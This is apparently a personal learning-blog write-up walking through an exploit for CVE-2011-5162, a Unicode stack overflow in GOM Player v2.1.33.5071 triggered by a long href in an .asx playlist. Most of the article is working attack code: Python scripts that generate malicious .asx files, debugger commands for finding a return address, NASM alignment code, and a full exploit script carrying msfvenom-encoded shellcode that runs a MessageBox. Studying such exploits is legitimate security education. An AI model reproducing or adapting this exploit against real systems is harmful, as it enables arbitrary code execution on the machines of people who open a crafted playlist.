[Learning] CVE-2011-5162: GOM Player v2.1.33.5071 RCE

First Post:

Last Update:

Word Count:
2.6k

Read Time:
15 min

Introduction

This article is part of my series: From Bug To Exploit.

In this article, I will demonstrate how to exploit GOM Player v2.1.33.5071 with a Unicode overflow.

Root Cause

The root cause of the vulnerability is that the software processes standard streaming protocols within a playlist file. When GOM Player parses an .asx playlist file, it improperly handles the href attribute of the <ref> element.

The application allocates a fixed-size buffer in the stack memory to store the URL string. However, it fails to validate the length of the string before copying it. As a result, it has a Unicode overflow vulnerability.

Exploit

The template .asx file is shown below:

1
2
3
4
5
6
<asx version="3.0">
<entry>
<title>sample</title>
<ref href="WWW.junkdata"/>
</entry>
</asx>

First, let’s try to crash the application with the script below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def main():
junk = b'A' * 3000
exploit = b''

with open('exploit.asx', 'wb') as f:
exploit += b'<asx version="3.0">\n'
exploit += b'<entry>\n'
exploit += b'<title>sample</title>\n'
exploit += b'<ref href="WWW.' + junk + b'"/>\n'
exploit += b'</entry>\n'
exploit += b'</asx>'

f.write(exploit)

if __name__ == '__main__':
main()

Open GOM Player in Immunity Debuggger, and then open the exploit.asx. Then, the application crashes:

We can see that the value of EIP is 0x00410041. Therefore, it is a buffer overflow that can overwrite EIP.

Next, we need to find the exact offset to EIP. Aftering crashing the application again with the pattern generated by mona, the value of EIP is 0x00710043.

As I mentioned in the previous article. We cannot directly use this value to find the offset. Unlike an SEH overflow, we cannot know the values that simultaneously overwrite both SEH and NSEH, and therefore find the full pattern.

In thie case, open pattern.txt, which was created by Immunity Debugger. Since the address uses little-endian order, the value that overwrote EIP should contain \x43\x71. After checking an ASCII table, we can see that these two bytes represent Cq. So, we can search for this pattern in pattern.txt:

The string Cq appears 30 times, starting at offset 2040. So, we can write a simple script to narrow down the range:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def main():
offset = 2040
junk = b'A' * offset + b'00112233445566778899aabbccddee'
exploit = b''

with open('exploit.asx', 'wb') as f:
exploit += b'<asx version="3.0">\n'
exploit += b'<entry>\n'
exploit += b'<title>sample</title>\n'
exploit += b'<ref href="WWW.' + junk + b'"/>\n'
exploit += b'</entry>\n'
exploit += b'</asx>'

f.write(exploit)

if __name__ == '__main__':
main()

Aftering opening exploit.asx again, the value presented in EIP was 0x00330038. Why does it contain \x38, which does not exist in our junk data? The reason is that after jumping to 0x003300XX, the CPU might execute a number of instructions. Anyway, this is not the point. The most important point is that the value contains 0x33. Therefore, the exact offset should be 2040 plus 6, which is 2046.

We can write a simple Python script to verify the offset:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def main():
offset = 2046
junk = b'A' * offset + b'DD'
exploit = b''
payload = b''
payload += junk

with open('exploit.asx', 'wb') as f:
exploit += b'<asx version="3.0">\n'
exploit += b'<entry>\n'
exploit += b'<title>sample</title>\n'
exploit += b'<ref href="WWW.' + payload + b'"/>\n'
exploit += b'</entry>\n'
exploit += b'</asx>'

f.write(exploit)

if __name__ == '__main__':
main()

Then, we can see that \x00440044 appears in EIP. Therefore, the offset is correct!

Now, let’s check Immunity Debugger. We can see that our junk data is stored at the address pointed to by EBX or EBP:

Therefore, we need to obtain the value of either of these two registers and jump to it.

We can use mona with the command below to find an address to perform jmp ebx:

1
!mona jmp -r ebx -cp unicode

Then, nothing was found!

Murmur: Life is never easy… right? hahaha…

Let’s try EBP:

1
!mona jmp -r ebp -cp unicode

Then… we found an address to perform the jump!

Here, I chose 0x005700ae. Therefore, we can modify our exploit script as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def main():
offset = 2046
junk = b'A' * offset
ret = b'\xae\x57'

payload = b''
payload += junk
payload += ret

exploit = b''

with open('exploit.asx', 'wb') as f:
exploit += b'<asx version="3.0">\n'
exploit += b'<entry>\n'
exploit += b'<title>sample</title>\n'
exploit += b'<ref href="WWW.' + payload + b'"/>\n'
exploit += b'</entry>\n'
exploit += b'</asx>'

f.write(exploit)

if __name__ == '__main__':
main()

We can see that we have successfully jumped to the junk data:

Don’t forget, we need to use EAX to perform the Unicode overflow. (If this were an ASCII system, I would just insert the MessageBox payload into the junk data).

This part is actually similar to the last article. I wrote some NASM code to perform the action:

1
2
3
4
5
6
7
8
9
push ebp    ; push EBP into the stack
pop eax ; pop value from the stack and store into EAX

; modify the value of EAX
add eax, 0x11000200
sub eax, 0x11000100

push eax ; store EAX into the stack
ret ; goto the shellcode

However, we need our opcode to be in the form of 00mm00nn..... Therefore, we need to add other instructions to pad it with zero bytes (\x00).

Murmur: The “standard answer” in my textbook does not really work… In addition, the author didn’t explain his code very clearly. Therefore, I wrote my jump code in my way!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
; jump.asm

[BITS 32]

; Init
add [byte ecx + 0], dh ; padding
push ebp ; push EBP into the stack
add [byte ecx + 0], dh ; padding
pop eax ; pop value from the stack and store into EAX
add [byte ecx + 0], dh ; padding

; modify the value of EAX
add eax, 0x11000200
add [byte ecx + 0], dh ; padding
sub eax, 0x11000100
add [ecx], al ; padding
add [byte ecx + 0], dh ; padding
push eax ; store EAX into the stack
add [byte ecx + 0], dh ; padding
ret ; goto the shellcode

This shellcode allows us to forward the execution flow to our shellcode. Here, I chose the jump distance 0x100, which is 256 in decimal, but you can also choose your favorite number!

Since, the distance is 256, the length of the junk data should be 256 divided by 2 (because it is a Unicode system), which is 128.

The length of my jump code is 17; the length of WWW. is 4. The length of these two pieces of data is 21. Therefore, the final offset of our junk data should be 128 minus 21, which is 107.

Hence, the completed exploit script can be implemented as below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# exploit.py

import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--dos', action='store_true')
parser.add_argument('--poc', action='store_true')
parser.add_argument('--exploit', action='store_true')
args = parser.parse_args()

# msfvenom -p windows/messagebox TEXT="hello" -a x86 --platform windows -e x86/unicode_upper -f python -v shellcode BufferRegister=EAX
shellcode = b""
shellcode += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49"
shellcode += b"\x41\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x41"
shellcode += b"\x33\x51\x41\x44\x41\x5a\x41\x42\x41\x52\x41"
shellcode += b"\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51"
shellcode += b"\x41\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31"
shellcode += b"\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31\x31"
shellcode += b"\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41"
shellcode += b"\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41"
shellcode += b"\x49\x51\x49\x41\x49\x51\x49\x31\x31\x31\x31"
shellcode += b"\x41\x49\x41\x4a\x51\x49\x31\x41\x59\x41\x5a"
shellcode += b"\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33\x30"
shellcode += b"\x41\x50\x42\x39\x34\x34\x4a\x42\x4b\x4c\x39"
shellcode += b"\x58\x34\x4f\x4d\x30\x4d\x30\x4b\x50\x43\x30"
shellcode += b"\x33\x59\x4b\x35\x30\x31\x4a\x32\x51\x54\x44"
shellcode += b"\x4b\x30\x52\x4e\x50\x44\x4b\x50\x52\x4c\x4c"
shellcode += b"\x44\x4b\x50\x52\x4e\x34\x4e\x51\x4b\x4f\x44"
shellcode += b"\x4b\x44\x32\x4d\x58\x4c\x4f\x37\x47\x30\x4a"
shellcode += b"\x4d\x56\x4e\x51\x57\x50\x56\x4c\x4f\x4c\x43"
shellcode += b"\x31\x33\x4c\x4d\x32\x4e\x4c\x4f\x30\x49\x31"
shellcode += b"\x58\x4f\x4c\x4d\x4d\x31\x48\x47\x50\x49\x34"
shellcode += b"\x35\x4a\x4f\x32\x32\x54\x4b\x32\x32\x4c\x50"
shellcode += b"\x42\x37\x54\x4b\x4f\x52\x4f\x4c\x4d\x31\x4a"
shellcode += b"\x30\x34\x4b\x4f\x50\x34\x38\x45\x35\x57\x50"
shellcode += b"\x34\x34\x50\x4c\x4b\x51\x5a\x30\x34\x4b\x50"
shellcode += b"\x58\x4f\x30\x34\x4b\x51\x38\x4e\x38\x42\x30"
shellcode += b"\x4b\x51\x4a\x33\x43\x55\x57\x59\x33\x44\x4f"
shellcode += b"\x4c\x4f\x59\x44\x4b\x50\x34\x44\x4b\x50\x31"
shellcode += b"\x4b\x4f\x4b\x51\x38\x56\x50\x31\x37\x50\x56"
shellcode += b"\x4c\x57\x51\x58\x4f\x4c\x4d\x4d\x31\x38\x47"
shellcode += b"\x30\x38\x49\x50\x44\x35\x4a\x54\x4c\x43\x33"
shellcode += b"\x4d\x4b\x48\x4f\x4b\x53\x4d\x4d\x54\x53\x45"
shellcode += b"\x49\x50\x50\x58\x54\x4b\x52\x38\x4f\x34\x4d"
shellcode += b"\x31\x58\x53\x33\x36\x44\x4b\x4c\x4c\x30\x4b"
shellcode += b"\x54\x4b\x50\x58\x4d\x4c\x4d\x31\x5a\x33\x54"
shellcode += b"\x4b\x4c\x44\x34\x4b\x4d\x31\x48\x50\x53\x59"
shellcode += b"\x30\x44\x4f\x34\x4e\x44\x51\x4b\x31\x4b\x53"
shellcode += b"\x31\x30\x59\x31\x4a\x32\x31\x4b\x4f\x39\x50"
shellcode += b"\x30\x58\x51\x4f\x50\x5a\x44\x4b\x4e\x32\x4b"
shellcode += b"\x39\x53\x50\x4b\x4f\x4b\x4f\x4b\x4f\x31\x4d"
shellcode += b"\x59\x58\x4c\x4b\x4b\x50\x4d\x30\x4b\x50\x42"
shellcode += b"\x55\x43\x43\x53\x35\x32\x52\x4e\x53\x30\x32"
shellcode += b"\x4e\x4e\x43\x34\x32\x4c\x32\x4c\x4d\x30\x33"
shellcode += b"\x38\x50\x4c\x33\x47\x4d\x56\x4b\x57\x4b\x4f"
shellcode += b"\x39\x45\x52\x4a\x4b\x50\x5a\x48\x4c\x4b\x4d"
shellcode += b"\x30\x4b\x50\x4d\x30\x30\x4d\x53\x35\x53\x43"
shellcode += b"\x44\x33\x33\x31\x33\x37\x31\x55\x50\x42\x42"
shellcode += b"\x4f\x43\x48\x4b\x50\x59\x58\x4d\x36\x4d\x30"
shellcode += b"\x4d\x30\x4b\x50\x43\x38\x53\x35\x32\x4c\x52"
shellcode += b"\x4c\x42\x4f\x4d\x30\x32\x4a\x4d\x30\x51\x58"
shellcode += b"\x50\x45\x34\x43\x31\x46\x4c\x47\x4b\x4f\x48"
shellcode += b"\x55\x42\x4a\x4b\x50\x43\x38\x4c\x30\x56\x55"
shellcode += b"\x35\x52\x31\x46\x4b\x4f\x39\x45\x41\x41"

walkcode = b''
walkcode += b'\x71'
walkcode += b'\x55'
walkcode += b'\x71'
walkcode += b'\x58'
walkcode += b'\x71'
walkcode += b'\x05'
walkcode += b'\x02'
walkcode += b'\x11'
walkcode += b'\x71'
walkcode += b'\x2d'
walkcode += b'\x01'
walkcode += b'\x11'
walkcode += b'\x01'
walkcode += b'\x71'
walkcode += b'\x50'
walkcode += b'\x71'
walkcode += b'\xc3'

def make_dos():
pass

def make_poc():
pass

def make_exploit():
offset_eip = 2046
offset_shellcode = 107
offset = offset_shellcode * b'A'

ret = b'\xae\x57'

exploit = b''
payload = b''

print(len(walkcode))

junk = (offset_eip - len(walkcode) - len(offset) - len(shellcode)) * b'A'

payload += walkcode
payload += offset
payload += shellcode
payload += junk
payload += ret

with open('exploit.asx', 'wb') as f:
exploit += b'<asx version="3.0">\n'
exploit += b'<entry>\n'
exploit += b'<title>sample</title>\n'
exploit += b'<ref href="WWW.' + payload + b'"/>\n'
exploit += b'</entry>\n'
exploit += b'</asx>'

f.write(exploit)

def main():
if args.dos:
make_dos()
elif args.poc:
make_poc()
elif args.exploit:
make_exploit()
else:
parser.print_help()

if __name__ == '__main__':
main()

Then the MessageBox is shown!

Conclusion

This article is actually a follow-up to my previous article, where I learned the principles of Unicode overflow in detail. Therefore, the content of this article is relatively shorter than the previous one, since I can directly apply what I learned to a real vulnerable application.

However, I also finished this exploit much faster than the previous one. I think this is a good sign that I actually understand how Unicode overflow works, rather than simply following the “standard answer” from the textbook.

After learning Unicode overflow, I think I have almost finished learning the major buffer overflow techniques on Windows XP (except Integer overflow, but I keep it in future posts). The next topic will be MS08-67! After that, I can finally move on to Windows 7 and start learning techniques for bypassing modern protection mechanisms!

This is the end of this article. If you have any comments or suggestions, please feel free to leave them below!

THANKS FOR READING!

This is my first time drawing President Rio!

Link: Pixiv